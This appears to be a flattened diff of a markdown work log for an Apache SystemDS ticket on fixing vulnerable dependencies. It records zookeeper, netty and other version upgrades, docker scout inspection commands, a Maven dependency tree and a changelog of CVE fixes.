`3.4.x` doesn't use scala `2.12` anymore \ - Update other dependencies (`spark-sql` etc) for the whole project to use scala `2.13`. \ - scala `2.13` is not backwards compatible with `2.12`. - - No direct backwards compatibility between `4.0` and `3.5` \ - [core migration guide](https://spark.apache.org/docs/latest/core-migration-guide.html#upgrading-from-core-35-to-40) - - Make `spark-core` use zookeeper `3.8.3+` - - as `spark-core` is a package using `zookeeper`, explicitely declaring another version of the zookeeper dependency will override spark's dependecy. As zookeeper is backwards compatible, this should not cause problems for the app - - `hadoop-common 3.3.6` also uses `zookeeper 3.6.3`. + By inspecting the jars, it has been found out that zookeeper is used by `hadoop-common` as well. +- Ideas to solve Vulnerabilities + - Upgrade `spark-core` + - `3.4.x` doesn't use scala `2.12` anymore \ + Update other dependencies (`spark-sql` etc) for the whole project to use scala `2.13`. \ + scala `2.13` is not backwards compatible with `2.12`. + - No direct backwards compatibility between `4.0` and `3.5` \ + [core migration guide](https://spark.apache.org/docs/latest/core-migration-guide.html#upgrading-from-core-35-to-40) \ + This upgrade would require significant changes on the whole project. + - Make `spark-core` use zookeeper `3.8.3+` + - as `spark-core` is a package using `zookeeper`, explicitely declaring another version of the zookeeper dependency will override spark's dependecy. As zookeeper is backwards compatible, this should not cause problems for the app + - `hadoop-common 3.3.6` also uses `zookeeper 3.6.3`. #### Solution +As `org.apache.zookeeper/zookeeper@3.8.3` also has transitive vulnerabilities, it has been decided to upgrade to `3.9.4` which only has one known transitive vulnerability. \ Zookeeper `3.9.4` will be used to solve all zookeeper-related vulnerabilities. `netty-handler` is also explicitly imported to solve a vulnerability related to the implicit version. **Changes** @@ -76,8 +75,13 @@ Zookeeper `3.9.4` will be used to solve all zookeeper-related vulnerabilities. ` `zookeeper 3.9.4` \ The vulnerability is solved by upgrading the version of `zookeeper` ```xml + + io.netty + netty-handler + ${netty.version} + @@ -85,11 +89,11 @@ Zookeeper `3.9.4` will be used to solve all zookeeper-related vulnerabilities. ` zookeeper 3.9.4 - - io.netty - netty-handler - - + + io.netty + netty-handler + + ``` - exclude `zookeeper` from @@ -103,21 +107,6 @@ Zookeeper `3.9.4` will be used to solve all zookeeper-related vulnerabilities. ` zookeeper ``` -- `sysds.Dockerfile` - - systemds is cloned from github instead of using the local systemds project. - ```Dockerfile - # Build the system - # RUN git clone --depth 1 https://github.com/apache/systemds.git systemds && \ - # cd /usr/src/systemds/ && \ - # mvn --no-transfer-progress clean package -P distribution - - # Copy the local SystemDS source into the image - COPY . /usr/src/systemds - # Build SystemDS - RUN cd /usr/src/systemds && \ - mvn --no-transfer-progress clean package -P distribution - ``` **Verification** - `docker scout` \ @@ -128,501 +117,3 @@ Zookeeper `3.9.4` will be used to solve all zookeeper-related vulnerabilities. ` No packet imported by zookeeper generates CVES. - building the project works \ `mvn clean package -P distribution` - -### `io.netty/netty@3.10.6.Final` - -This is a transitive dependency from `hadoop-hdfs 3.3.6`. Version `3.4.2` does not use the `netty` dependency anymore. - -The only change necessary in the code is in the import of the netty package. What was -```java -import org.jboss.netty.handler.codec.compression.CompressionException; -``` -became -```java -import io.netty.handler.codec.compression.CompressionException; -``` - - -### toolbox - -- Docker scout: - - `docker scout cves --details --format markdown -o docker/scout_results/sysds_outputX.md --epss apache/systemds` - - docker scout can also show the path to the vulnerability with the `--format sarif` option. - - Docker scout does not run because `/tmp` is full: \ - `df -h`: to see usage of partitions. \ - `du -h /home/schnee/DIA-sysds-scout-tmp/` to see directory usage. \ - `docker scout cache df` and `docker scout cache prune` to view and clear scout cache. - - Change default tmp partition to a bigger filesystem \ - `export TMPDIR=/home/schnee/DIA-sysds-scout-tmp` \ - `export DOCKER_SCOUT_CACHE_DIR=/home/schnee/DIA-sysds-scout-tmp` -- copy container filesystem to analyze jars: - - ```sh - docker create --name temp apache/systemds - docker export temp > img.tar - mkdir filesystem_img - tar -xf img.tar -C filesystem_img - #Analysis - rm -rf img.tar temp filesystem_img - docker rm temp - ``` - - Find all references to zookeeper - - `find filesystem_img -name '*zookeeper*'` - - List all libs - - `ls -la ./filesystem_img/systemds/target/lib/` - - Inspect the jars in the image for references to zookeeper - - `find ./filesystem_img -name '*.jar' -exec sh -c 'jar tf {} | grep -i zookeeper && echo "--- Found in {}"' \;` -- Inspect the given jar for references to zookeeper - - `jar tf ~/.m2/repository/org/apache/hadoop/hadoop-common/3.3.6/hadoop-common-3.3.6.jar | grep -i zookeeper` - - -## Results - -We managed to solve a lot of CVEs: \ -FROM: critical: 4 high: 29 medium: 36 low: 9 unspecified: 1 \ -TO: critical: 0 high: 6 medium: 8 low: 1 unspecified: 1 - -Running `mvn clean verify` after our changes returns the same output. - -## Changes - -### `pom.xml` - -### `sysds.Dockerfile` - -#### Local build -In order to run the alanysis tool locally, we changed the Dockerfile to build not from the git apache/systemds:latest, but to build from a copy of the local filesystem: - -```Dockerfile -# Build the system -# RUN git clone --depth 1 https://github.com/apache/systemds.git systemds && \ -# cd /usr/src/systemds/ && \ -# mvn --no-transfer-progress clean package -P distribution -# -# Copy the local SystemDS source into the image -COPY . /usr/src/systemds -# Build SystemDS -RUN cd /usr/src/systemds && \ - mvn --no-transfer-progress clean package -P distribution -``` - -This change was reset before merging. - -#### `apk` vulnerabilities - - - -## Appendix - -### Output of `mvn dependency:tree` before any change - -```bash -[INFO] org.apache.systemds:systemds:jar:3.4.0-SNAPSHOT -[INFO] +- org.jcuda:jcuda:jar:12.6.0:provided -[INFO] +- org.jcuda:jcublas:jar:12.6.0:provided -[INFO] +- org.jcuda:jcusparse:jar:12.6.0:provided -[INFO] +- org.jcuda:jcusolver:jar:12.6.0:provided -[INFO] +- org.jcuda:jcudnn:jar:12.6.0:provided -[INFO] +- org.jcuda:jcuda-natives:jar:windows-x86_64:12.6.0:provided -[INFO] +- org.jcuda:jcublas-natives:jar:windows-x86_64:12.6.0:provided -[INFO] +- org.jcuda:jcusparse-natives:jar:windows-x86_64:12.6.0:provided -[INFO] +- org.jcuda:jcusolver-natives:jar:windows-x86_64:12.6.0:provided -[INFO] +- org.jcuda:jcudnn-natives:jar:windows-x86_64:12.6.0:provided -[INFO] +- org.jcuda:jcuda-natives:jar:linux-x86_64:12.6.0:provided -[INFO] +- org.jcuda:jcublas-natives:jar:linux-x86_64:12.6.0:provided -[INFO] +- org.jcuda:jcusparse-natives:jar:linux-x86_64:12.6.0:provided -[INFO] +- org.jcuda:jcusolver-natives:jar:linux-x86_64:12.6.0:provided -[INFO] +- org.jcuda:jcudnn-natives:jar:linux-x86_64:12.6.0:provided -[INFO] +- org.apache.spark:spark-core_2.12:jar:3.5.0:compile -[INFO] | +- org.apache.avro:avro:jar:1.11.2:compile -[INFO] | +- org.apache.avro:avro-mapred:jar:1.11.2:compile -[INFO] | | \- org.apache.avro:avro-ipc:jar:1.11.2:compile -[INFO] | | \- org.tukaani:xz:jar:1.9:compile -[INFO] | +- com.twitter:chill_2.12:jar:0.10.0:compile -[INFO] | | \- com.esotericsoftware:kryo-shaded:jar:4.0.2:compile -[INFO] | | \- com.esotericsoftware:minlog:jar:1.3.0:compile -[INFO] | +- com.twitter:chill-java:jar:0.10.0:compile -[INFO] | +- org.apache.xbean:xbean-asm9-shaded:jar:4.23:compile -[INFO] | +- org.apache.spark:spark-launcher_2.12:jar:3.5.0:compile -[INFO] | +- org.apache.spark:spark-kvstore_2.12:jar:3.5.0:compile -[INFO] | +- org.apache.spark:spark-network-common_2.12:jar:3.5.0:compile -[INFO] | | \- com.google.crypto.tink:tink:jar:1.9.0:compile -[INFO] | | \- joda-time:joda-time:jar:2.12.5:compile -[INFO] | +- org.apache.spark:spark-network-shuffle_2.12:jar:3.5.0:compile -[INFO] | +- org.apache.spark:spark-unsafe_2.12:jar:3.5.0:compile -[INFO] | +- org.apache.spark:spark-common-utils_2.12:jar:3.5.0:compile -[INFO] | +- javax.activation:activation:jar:1.1.1:compile -[INFO] | +- org.apache.curator:curator-recipes:jar:2.13.0:compile -[INFO] | | \- org.apache.curator:curator-framework:jar:2.13.0:compile -[INFO] | +- org.apache.zookeeper:zookeeper:jar:3.6.3:compile -[INFO] | | +- org.apache.zookeeper:zookeeper-jute:jar:3.6.3:compile -[INFO] | | \- org.apache.yetus:audience-annotations:jar:0.5.0:compile -[INFO] | +- jakarta.servlet:jakarta.servlet-api:jar:4.0.3:compile -[INFO] | +- commons-codec:commons-codec:jar:1.16.0:compile -[INFO] | +- org.apache.commons:commons-compress:jar:1.23.0:compile -[INFO] | +- org.apache.commons:commons-lang3:jar:3.12.0:compile -[INFO] | +- org.apache.commons:commons-text:jar:1.10.0:compile -[INFO] | +- commons-io:commons-io:jar:2.13.0:compile -[INFO] | +- commons-collections:commons-collections:jar:3.2.2:compile -[INFO] | +- org.apache.commons:commons-collections4:jar:4.4:compile -[INFO] | +- com.google.code.findbugs:jsr305:jar:3.0.0:compile -[INFO] | +- com.ning:compress-lzf:jar:1.1.2:compile -[INFO] | +- org.xerial.snappy:snappy-java:jar:1.1.10.3:compile -[INFO] | +- org.lz4:lz4-java:jar:1.8.0:compile -[INFO] | +- com.github.luben:zstd-jni:jar:1.5.5-4:compile -[INFO] | +- org.roaringbitmap:RoaringBitmap:jar:0.9.45:compile -[INFO] | | \- org.roaringbitmap:shims:jar:0.9.45:runtime -[INFO] | +- org.scala-lang.modules:scala-xml_2.12:jar:2.1.0:compile -[INFO] | +- org.scala-lang:scala-library:jar:2.12.18:compile -[INFO] | +- org.scala-lang:scala-reflect:jar:2.12.18:compile -[INFO] | +- org.json4s:json4s-jackson_2.12:jar:3.7.0-M11:compile -[INFO] | | \- org.json4s:json4s-core_2.12:jar:3.7.0-M11:compile -[INFO] | | +- org.json4s:json4s-ast_2.12:jar:3.7.0-M11:compile -[INFO] | | \- org.json4s:json4s-scalap_2.12:jar:3.7.0-M11:compile -[INFO] | +- org.glassfish.jersey.core:jersey-client:jar:2.40:compile -[INFO] | | +- jakarta.ws.rs:jakarta.ws.rs-api:jar:2.1.6:compile -[INFO] | | \- org.glassfish.hk2.external:jakarta.inject:jar:2.6.1:compile -[INFO] | +- org.glassfish.jersey.core:jersey-common:jar:2.40:compile -[INFO] | | +- jakarta.annotation:jakarta.annotation-api:jar:1.3.5:compile -[INFO] | | \- org.glassfish.hk2:osgi-resource-locator:jar:1.0.3:compile -[INFO] | +- org.glassfish.jersey.core:jersey-server:jar:2.40:compile -[INFO] | | \- jakarta.validation:jakarta.validation-api:jar:2.0.2:compile -[INFO] | +- org.glassfish.jersey.containers:jersey-container-servlet:jar:2.40:compile -[INFO] | +- org.glassfish.jersey.containers:jersey-container-servlet-core:jar:2.40:compile -[INFO] | +- org.glassfish.jersey.inject:jersey-hk2:jar:2.40:compile -[INFO] | | +- org.glassfish.hk2:hk2-locator:jar:2.6.1:compile -[INFO] | | | +- org.glassfish.hk2.external:aopalliance-repackaged:jar:2.6.1:compile -[INFO] | | | +- org.glassfish.hk2:hk2-api:jar:2.6.1:compile -[INFO] | | | \- org.glassfish.hk2:hk2-utils:jar:2.6.1:compile -[INFO] | | \- org.javassist:javassist:jar:3.29.2-GA:compile -[INFO] | +- io.netty:netty-transport-native-epoll:jar:linux-x86_64:4.1.96.Final:compile -[INFO] | +- io.netty:netty-transport-native-epoll:jar:linux-aarch_64:4.1.96.Final:compile -[INFO] | +- io.netty:netty-transport-native-kqueue:jar:osx-aarch_64:4.1.96.Final:compile -[INFO] | +- io.netty:netty-transport-native-kqueue:jar:osx-x86_64:4.1.96.Final:compile -[INFO] | +- com.clearspring.analytics:stream:jar:2.9.6:compile -[INFO] | +- io.dropwizard.metrics:metrics-core:jar:4.2.19:compile -[INFO] | +- io.dropwizard.metrics:metrics-jvm:jar:4.2.19:compile -[INFO] | +- io.dropwizard.metrics:metrics-json:jar:4.2.19:compile -[INFO] | +- io.dropwizard.metrics:metrics-graphite:jar:4.2.19:compile -[INFO] | +- io.dropwizard.metrics:metrics-jmx:jar:4.2.19:compile -[INFO] | +- com.fasterxml.jackson.module:jackson-module-scala_2.12:jar:2.15.2:compile -[INFO] | | \- com.thoughtworks.paranamer:paranamer:jar:2.8:compile -[INFO] | +- org.apache.ivy:ivy:jar:2.5.1:compile -[INFO] | +- oro:oro:jar:2.0.8:compile -[INFO] | +- net.razorvine:pickle:jar:1.3:compile -[INFO] | +- org.apache.spark:spark-tags_2.12:jar:3.5.0:compile -[INFO] | \- org.apache.commons:commons-crypto:jar:1.1.0:compile -[INFO] +- org.apache.spark:spark-sql_2.12:jar:3.5.0:compile -[INFO] | +- org.rocksdb:rocksdbjni:jar:8.3.2:compile -[INFO] | +- com.univocity:univocity-parsers:jar:2.9.1:compile -[INFO] | +- org.apache.spark:spark-sketch_2.12:jar:3.5.0:compile -[INFO] | +- org.apache.spark:spark-catalyst_2.12:jar:3.5.0:compile -[INFO] | | +- org.apache.spark:spark-sql-api_2.12:jar:3.5.0:compile -[INFO] | | | +- org.apache.arrow:arrow-vector:jar:12.0.1:compile -[INFO] | | | | +- org.apache.arrow:arrow-format:jar:12.0.1:compile -[INFO] | | | | +- org.apache.arrow:arrow-memory-core:jar:12.0.1:compile -[INFO] | | | | +- com.fasterxml.jackson.datatype:jackson-datatype-jsr310:jar:2.15.1:compile -[INFO] | | | | \- com.google.flatbuffers:flatbuffers-java:jar:1.12.0:compile -[INFO] | | | \- org.apache.arrow:arrow-memory-netty:jar:12.0.1:compile -[INFO] | | \- org.apache.datasketches:datasketches-java:jar:3.3.0:compile -[INFO] | | \- org.apache.datasketches:datasketches-memory:jar:2.1.0:compile -[INFO] | +- org.apache.orc:orc-core:jar:shaded-protobuf:1.9.1:compile -[INFO] | | +- org.apache.orc:orc-shims:jar:1.9.1:compile -[INFO] | | +- io.airlift:aircompressor:jar:0.25:compile -[INFO] | | +- org.jetbrains:annotations:jar:17.0.0:compile -[INFO] | | \- org.threeten:threeten-extra:jar:1.7.1:compile -[INFO] | +- org.apache.orc:orc-mapreduce:jar:shaded-protobuf:1.9.1:compile -[INFO] | +- org.apache.hive:hive-storage-api:jar:2.8.1:compile -[INFO] | +- org.apache.parquet:parquet-column:jar:1.13.1:compile -[INFO] | | +- org.apache.parquet:parquet-common:jar:1.13.1:compile -[INFO] | | \- org.apache.parquet:parquet-encoding:jar:1.13.1:compile -[INFO] | \- org.apache.parquet:parquet-hadoop:jar:1.13.1:compile -[INFO] | +- org.apache.parquet:parquet-format-structures:jar:1.13.1:compile -[INFO] | \- org.apache.parquet:parquet-jackson:jar:1.13.1:runtime -[INFO] +- org.apache.spark:spark-mllib_2.12:jar:3.5.0:compile -[INFO] | +- org.scala-lang.modules:scala-parser-combinators_2.12:jar:2.3.0:compile -[INFO] | +- org.apache.spark:spark-streaming_2.12:jar:3.5.0:compile -[INFO] | +- org.apache.spark:spark-graphx_2.12:jar:3.5.0:compile -[INFO] | | \- net.sourceforge.f2j:arpack_combined_all:jar:0.1:compile -[INFO] | +- org.apache.spark:spark-mllib-local_2.12:jar:3.5.0:compile -[INFO] | +- org.scalanlp:breeze_2.12:jar:2.1.0:compile -[INFO] | | +- org.scalanlp:breeze-macros_2.12:jar:2.1.0:compile -[INFO] | | +- net.sf.opencsv:opencsv:jar:2.3:compile -[INFO] | | +- com.github.wendykierp:JTransforms:jar:3.1:compile -[INFO] | | | \- pl.edu.icm:JLargeArrays:jar:1.5:compile -[INFO] | | +- org.scala-lang.modules:scala-collection-compat_2.12:jar:2.7.0:compile -[INFO] | | \- org.typelevel:spire_2.12:jar:0.17.0:compile -[INFO] | | +- org.typelevel:spire-macros_2.12:jar:0.17.0:compile -[INFO] | | +- org.typelevel:spire-platform_2.12:jar:0.17.0:compile -[INFO] | | +- org.typelevel:spire-util_2.12:jar:0.17.0:compile -[INFO] | | \- org.typelevel:algebra_2.12:jar:2.0.1:compile -[INFO] | | \- org.typelevel:cats-kernel_2.12:jar:2.1.1:compile -[INFO] | +- org.glassfish.jaxb:jaxb-runtime:jar:2.3.2:compile -[INFO] | | +- jakarta.xml.bind:jakarta.xml.bind-api:jar:2.3.2:compile -[INFO] | | \- com.sun.istack:istack-commons-runtime:jar:3.0.8:compile -[INFO] | +- dev.ludovic.netlib:blas:jar:3.0.3:compile -[INFO] | +- dev.ludovic.netlib:lapack:jar:3.0.3:compile -[INFO] | \- dev.ludovic.netlib:arpack:jar:3.0.3:compile -[INFO] +- org.apache.hadoop:hadoop-common:jar:3.3.6:compile -[INFO] | +- org.apache.hadoop.thirdparty:hadoop-shaded-protobuf_3_7:jar:1.1.1:compile -[INFO] | +- org.apache.hadoop:hadoop-annotations:jar:3.3.6:compile -[INFO] | +- org.apache.hadoop.thirdparty:hadoop-shaded-guava:jar:1.1.1:compile -[INFO] | +- com.google.guava:guava:jar:27.0-jre:compile -[INFO] | | +- com.google.guava:failureaccess:jar:1.0:compile -[INFO] | | +- com.google.guava:listenablefuture:jar:9999.0-empty-to-avoid-conflict-with-guava:compile -[INFO] | | +- org.checkerframework:checker-qual:jar:2.5.2:compile -[INFO] | | \- org.codehaus.mojo:animal-sniffer-annotations:jar:1.17:compile -[INFO] | +- commons-cli:commons-cli:jar:1.2:compile -[INFO] | +- org.apache.httpcomponents:httpclient:jar:4.5.13:compile -[INFO] | | \- org.apache.httpcomponents:httpcore:jar:4.4.13:compile -[INFO] | +- commons-net:commons-net:jar:3.9.0:compile -[INFO] | +- javax.servlet:javax.servlet-api:jar:3.1.0:compile -[INFO] | +- jakarta.activation:jakarta.activation-api:jar:1.2.1:compile -[INFO] | +- org.eclipse.jetty:jetty-server:jar:9.4.51.v20230217:compile -[INFO] | | +- org.eclipse.jetty:jetty-http:jar:9.4.51.v20230217:compile -[INFO] | | \- org.eclipse.jetty:jetty-io:jar:9.4.51.v20230217:compile -[INFO] | +- org.eclipse.jetty:jetty-util:jar:9.4.51.v20230217:compile -[INFO] | +- org.eclipse.jetty:jetty-servlet:jar:9.4.51.v20230217:compile -[INFO] | | \- org.eclipse.jetty:jetty-security:jar:9.4.51.v20230217:compile -[INFO] | +- org.eclipse.jetty:jetty-webapp:jar:9.4.51.v20230217:compile -[INFO] | | \- org.eclipse.jetty:jetty-xml:jar:9.4.51.v20230217:compile -[INFO] | +- javax.servlet.jsp:jsp-api:jar:2.1:runtime -[INFO] | +- com.sun.jersey:jersey-core:jar:1.19.4:compile -[INFO] | | \- javax.ws.rs:jsr311-api:jar:1.1.1:compile -[INFO] | +- com.sun.jersey:jersey-servlet:jar:1.19.4:compile -[INFO] | +- com.github.pjfanning:jersey-json:jar:1.20:compile -[INFO] | | +- org.codehaus.jettison:jettison:jar:1.1:compile -[INFO] | | \- com.sun.xml.bind:jaxb-impl:jar:2.2.3-1:compile -[INFO] | +- com.sun.jersey:jersey-server:jar:1.19.4:compile -[INFO] | +- ch.qos.reload4j:reload4j:jar:1.2.22:compile -[INFO] | +- commons-beanutils:commons-beanutils:jar:1.9.4:compile -[INFO] | +- org.apache.commons:commons-configuration2:jar:2.8.0:compile -[INFO] | +- com.google.re2j:re2j:jar:1.1:compile -[INFO] | +- com.google.code.gson:gson:jar:2.9.0:compile -[INFO] | +- org.apache.hadoop:hadoop-auth:jar:3.3.6:compile -[INFO] | | +- com.nimbusds:nimbus-jose-jwt:jar:9.8.1:compile -[INFO] | | \- org.apache.kerby:kerb-simplekdc:jar:1.0.1:compile -[INFO] | | +- org.apache.kerby:kerb-client:jar:1.0.1:compile -[INFO] | | | +- org.apache.kerby:kerby-config:jar:1.0.1:compile -[INFO] | | | +- org.apache.kerby:kerb-common:jar:1.0.1:compile -[INFO] | | | | \- org.apache.kerby:kerb-crypto:jar:1.0.1:compile -[INFO] | | | +- org.apache.kerby:kerb-util:jar:1.0.1:compile -[INFO] | | | \- org.apache.kerby:token-provider:jar:1.0.1:compile -[INFO] | | \- org.apache.kerby:kerb-admin:jar:1.0.1:compile -[INFO] | | +- org.apache.kerby:kerb-server:jar:1.0.1:compile -[INFO] | | | \- org.apache.kerby:kerb-identity:jar:1.0.1:compile -[INFO] | | \- org.apache.kerby:kerby-xdr:jar:1.0.1:compile -[INFO] | +- com.jcraft:jsch:jar:0.1.55:compile -[INFO] | +- org.apache.curator:curator-client:jar:5.2.0:compile -[INFO] | +- org.apache.kerby:kerb-core:jar:1.0.1:compile -[INFO] | | \- org.apache.kerby:kerby-pkix:jar:1.0.1:compile -[INFO] | | +- org.apache.kerby:kerby-asn1:jar:1.0.1:compile -[INFO] | | \- org.apache.kerby:kerby-util:jar:1.0.1:compile -[INFO] | +- org.codehaus.woodstox:stax2-api:jar:4.2.1:compile -[INFO] | +- com.fasterxml.woodstox:woodstox-core:jar:5.4.0:compile -[INFO] | \- dnsjava:dnsjava:jar:2.1.7:compile -[INFO] +- org.apache.hadoop:hadoop-hdfs:jar:3.3.6:compile -[INFO] | +- org.eclipse.jetty:jetty-util-ajax:jar:9.4.51.v20230217:compile -[INFO] | +- commons-daemon:commons-daemon:jar:1.0.13:compile -[INFO] | +- io.netty:netty:jar:3.10.6.Final:compile -[INFO] | \- org.fusesource.leveldbjni:leveldbjni-all:jar:1.8:compile -[INFO] +- org.apache.hadoop:hadoop-client:jar:3.3.6:compile -[INFO] | +- org.apache.hadoop:hadoop-hdfs-client:jar:3.3.6:compile -[INFO] | +- org.apache.hadoop:hadoop-yarn-api:jar:3.3.6:compile -[INFO] | | \- javax.xml.bind:jaxb-api:jar:2.2.11:compile -[INFO] | +- org.apache.hadoop:hadoop-yarn-client:jar:3.3.6:compile -[INFO] | | +- org.eclipse.jetty.websocket:websocket-client:jar:9.4.51.v20230217:compile -[INFO] | | | +- org.eclipse.jetty:jetty-client:jar:9.4.51.v20230217:compile -[INFO] | | | \- org.eclipse.jetty.websocket:websocket-common:jar:9.4.51.v20230217:compile -[INFO] | | | \- org.eclipse.jetty.websocket:websocket-api:jar:9.4.51.v20230217:compile -[INFO] | | \- org.jline:jline:jar:3.9.0:compile -[INFO] | +- org.apache.hadoop:hadoop-mapreduce-client-core:jar:3.3.6:compile -[INFO] | | \- org.apache.hadoop:hadoop-yarn-common:jar:3.3.6:compile -[INFO] | | +- com.sun.jersey:jersey-client:jar:1.19.4:compile -[INFO] | | +- com.fasterxml.jackson.module:jackson-module-jaxb-annotations:jar:2.12.7:compile -[INFO] | | \- com.fasterxml.jackson.jaxrs:jackson-jaxrs-json-provider:jar:2.12.7:compile -[INFO] | | \- com.fasterxml.jackson.jaxrs:jackson-jaxrs-base:jar:2.12.7:compile -[INFO] | \- org.apache.hadoop:hadoop-mapreduce-client-jobclient:jar:3.3.6:compile -[INFO] | \- org.apache.hadoop:hadoop-mapreduce-client-common:jar:3.3.6:compile -[INFO] +- commons-logging:commons-logging:jar:1.1.3:compile -[INFO] +- org.apache.commons:commons-math3:jar:3.4.1:compile -[INFO] +- org.apache.wink:wink-json4j:jar:1.4:compile -[INFO] +- com.fasterxml.jackson.core:jackson-databind:jar:2.15.2:compile -[INFO] | +- com.fasterxml.jackson.core:jackson-annotations:jar:2.15.2:compile -[INFO] | \- com.fasterxml.jackson.core:jackson-core:jar:2.15.2:compile -[INFO] +- junit:junit:jar:4.13.1:provided -[INFO] | \- org.hamcrest:hamcrest-core:jar:1.3:provided -[INFO] +- org.openjdk.jol:jol-core:jar:0.10:test -[INFO] +- org.mockito:mockito-core:jar:5.1.0:test -[INFO] | +- net.bytebuddy:byte-buddy:jar:1.12.22:test -[INFO] | +- net.bytebuddy:byte-buddy-agent:jar:1.12.22:test -[INFO] | \- org.objenesis:objenesis:jar:3.3:compile -[INFO] +- com.github.stephenc.jcip:jcip-annotations:jar:1.0-1:test -[INFO] +- org.codehaus.janino:janino:jar:3.1.9:provided -[INFO] | \- org.codehaus.janino:commons-compiler:jar:3.1.9:compile -[INFO] +- org.antlr:antlr4:jar:4.8:provided -[INFO] | +- org.antlr:ST4:jar:4.3:provided -[INFO] | +- org.abego.treelayout:org.abego.treelayout.core:jar:1.0.3:provided -[INFO] | +- org.glassfish:javax.json:jar:1.0.4:provided -[INFO] | \- com.ibm.icu:icu4j:jar:61.1:provided -[INFO] +- org.antlr:antlr4-runtime:jar:4.8:compile -[INFO] +- org.apache.derby:derby:jar:10.14.2.0:provided -[INFO] +- io.netty:netty-all:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-buffer:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-codec:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-codec-dns:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-codec-haproxy:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-codec-http:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-codec-http2:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-codec-memcache:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-codec-mqtt:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-codec-redis:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-codec-smtp:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-codec-socks:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-codec-stomp:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-codec-xml:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-common:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-handler:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-transport-native-unix-common:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-handler-proxy:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-handler-ssl-ocsp:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-resolver:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-resolver-dns:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-transport:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-transport-rxtx:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-transport-sctp:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-transport-udt:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-transport-classes-epoll:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-transport-classes-kqueue:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-resolver-dns-classes-macos:jar:4.1.96.Final:compile -[INFO] | +- io.netty:netty-resolver-dns-native-macos:jar:osx-x86_64:4.1.96.Final:runtime -[INFO] | \- io.netty:netty-resolver-dns-native-macos:jar:osx-aarch_64:4.1.96.Final:runtime -[INFO] +- net.sf.py4j:py4j:jar:0.10.9:compile -[INFO] +- com.google.protobuf:protobuf-java:jar:3.23.4:compile -[INFO] +- com.google.protobuf:protobuf-java-util:jar:3.23.4:compile -[INFO] | +- com.google.errorprone:error_prone_annotations:jar:2.18.0:compile -[INFO] | \- com.google.j2objc:j2objc-annotations:jar:2.8:compile -[INFO] +- org.slf4j:slf4j-api:jar:2.0.11:compile -[INFO] +- org.slf4j:slf4j-reload4j:jar:2.0.11:compile -[INFO] +- org.slf4j:jul-to-slf4j:jar:2.0.11:compile -[INFO] +- org.slf4j:jcl-over-slf4j:jar:2.0.11:compile -[INFO] +- org.apache.logging.log4j:log4j-api:jar:2.22.1:compile -[INFO] +- org.apache.logging.log4j:log4j-core:jar:2.22.1:compile -[INFO] \- ch.randelshofer:fastdoubleparser:jar:0.9.0:compile -[INFO] ------------------------------------------------------------------------ -[INFO] BUILD SUCCESS -[INFO] ------------------------------------------------------------------------ -[INFO] Total time: 59.447 s -[INFO] Finished at: 2025-12-08T10:24:00+01:00 -[INFO] ------------------------------------------------------------------------ -``` - - ---- - -# Changelog - -### Dec 4, 2025 -- **`[MINOR][DOCS][SYSTEMDS-3878]`** Write two markdown files to log work and document changes - - Added `project_systemds-3878.md` to log work progress - - Added `systemds-3878_summary-of-changes.md` to document Dockerfile modifications - - Author: @qschnee - -### Jan 6, 2026 -- **`[MINOR][SYSTEMDS-3878]`** Fix CVE-2023-44981 org.apache.zookeeper critical vulnerability - - Updated zookeeper from 3.6.3 → 3.8.3 - - Added explicit dependency and exclusions from spark-core and hadoop-common - - Modified sysds.Dockerfile to build from filesystem - - Author: @qschnee - -### Jan 11, 2026 -- kerby → 2.0.3 (CVE-2023-25613) -- avro → 1.11.4 (CVE-2024-47561) - -### Jan 14, 2026 -- **`[MINOR][SYSTEMDS-3878]`** Fix pom.xml dependencyManagement merge error - - Merged duplicate dependencyManagement tags into one - - Author: @qschnee - -- **`[MINOR][SYSTEMDS-3878]`** Fix zookeeper transitive vulnerabilities - - Updated zookeeper to 3.9.4 - - Added explicit dependency for netty-handler (ch.qos.logback/logback-core fix) - - Author: @qschnee - -### Jan 15, 2026 -- json-smart → 2.4.9 (CVE-2023-1370) -- jettison → 1.5.4 (CVE-2023-1436) -- snappy-java → 1.1.10.4 (CVE-2023-43642) -- nimbus-jose-jwt → 9.37.4 (CVE-2023-52428) -- logback → 1.2.13 (CVE-2023-6378) -- aircompressor → 0.27 (CVE-2024-36114) -- commons-io → 2.14.0 (CVE-2024-47554) -- protobuf-java → 3.25.5 (CVE-2024-7254) -- jackson-core → 2.15.0 (CVE-2025-52999) - -### Jan 16, 2026 -- netty → 4.1.124.Final (CVE-2023-44487, CVE-2025-55163) -- xnio-api → 3.8.14.Final (CVE-2023-5685) -- dnsjava → 3.6.0 (CVE-2024-25638) -- jetty → 9.4.57.v20241219 (CVE-2024-6763) -- commons-beanutils → 1.11.0 (CVE-2025-48734) - -### Jan 21, 2026 -- **`[MINOR][SYSTEMDS-3878]`** Fix additional medium-severity CVEs (jetty-http, commons-compress, commons-configuration2) - - jetty-http → 12.0.12 (CVE-2024-6763) - - commons-compress → 1.26.0 (CVE-2024-26308, CVE-2024-25710, CVE-2023-42503) - - commons-configuration2 → 2.10.1 (CVE-2024-29133, CVE-2024-29131) - - Author: @qschnee 